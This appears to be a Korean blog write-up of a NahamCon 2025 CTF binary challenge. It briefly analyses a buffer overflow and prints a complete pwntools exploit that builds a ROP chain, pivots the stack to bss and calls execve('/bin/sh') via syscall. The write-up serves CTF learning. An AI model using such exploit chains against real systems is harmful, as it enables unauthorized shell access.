728x90
반응형
1. intro
거의 다 푼 상태에서 다른 팀원이 먼저 풀었고, 그게 퍼블이었다;;
2. code 및 분석
2.1. code
생략
2.2. 분석
단순 rop이긴 한데, 가운데 canary마냥 check되는 부분이 있다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
bof
3.2. 공격 준비
그냥 bof가 발생한다.
다만 중간 즈음 값이 0인지 확인하는 부분이 있으며, read로 값을 받기 때문에 그냥 우회 가능하다.
더불어 no pie이고, 입력값을 출력해줄 때 가운데 0 때문에 leak이 원활하지 않는데,
코드 내에 syscall이 존재하기에 그냥 bss에 main 함수 주소와 /bin/sh 문자열을 쓰고,
bss를 rsp로 stack pivot한 뒤 syscall 했다.
4. exploit
from pwn import *
debug = True
#debug = False
path = './main'
elf = ELF(path)
if debug == True:
io = process([path])#, env={"LD_PRELOAD":""})
elf = ELF(path)
else:
io = remote("challenge.nahamcon.com", 31216)
context.log_level = 'debug'
script ='''
'''
def hexmsg(name, val):
info(f"{name} = {hex(val)}")
def main():
bss = 0x4afb00
main = 0x4030a0
raxret = 0x00000000004297c3
rdirbpret = 0x0000000000403a44
rsirbpret = 0x0000000000403d5a
binsh = 0x00000000004afb50
syscall = 0x00000000004025ea
payload = b'\x00'*0x20
payload += p64(0)*2
payload += p64(bss)
payload += p64(rdirbpret) + p64(bss) + p64(bss)
payload += p64(rsirbpret) + p64(0x100) + p64(bss)
payload += p64(0x4030e8)
io.sendafter(b'name?\n',payload + b'\n')
payload = p64(bss - 0x70)
payload += p64(rdirbpret) + p64(binsh) + p64(0x4afd00)
payload += p64(rsirbpret) + p64(0) + p64(0x4afd00)
payload += p64(raxret) + p64(0x3b)
payload += p64(syscall)
payload += b'/bin/sh'
io.sendline(payload)
io.interactive()
return
if __name__ == "__main__":
main()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
No Hack No CTF 2025 - No.5️⃣4️⃣9️⃣ (0) | 2025.07.08 |
---|---|
GPN CTF 2025 - Note Editor (0) | 2025.06.22 |
GPN CTF 2025 - no-nc (1) | 2025.06.22 |
GPN CTF 2025 - NASA (0) | 2025.06.22 |
NahamCon 2025 CTF - Lost Memory (0) | 2025.05.30 |